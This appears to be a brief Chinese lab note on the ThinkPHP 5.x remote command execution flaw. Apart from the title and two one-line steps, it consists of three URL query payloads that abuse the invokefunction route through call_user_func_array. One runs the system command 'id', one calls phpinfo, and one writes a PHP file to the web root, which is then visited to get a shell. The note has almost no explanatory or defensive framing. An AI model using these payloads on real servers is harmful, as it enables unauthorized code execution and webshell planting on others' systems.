Thinkphp5x远程命令执⾏及getshell

启动环境查看端口

? s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1]
[]=id

? s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[
1][]=-1

? s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1]
[]=echo "<?php phpinfo();?>" >>1.php

访问1.php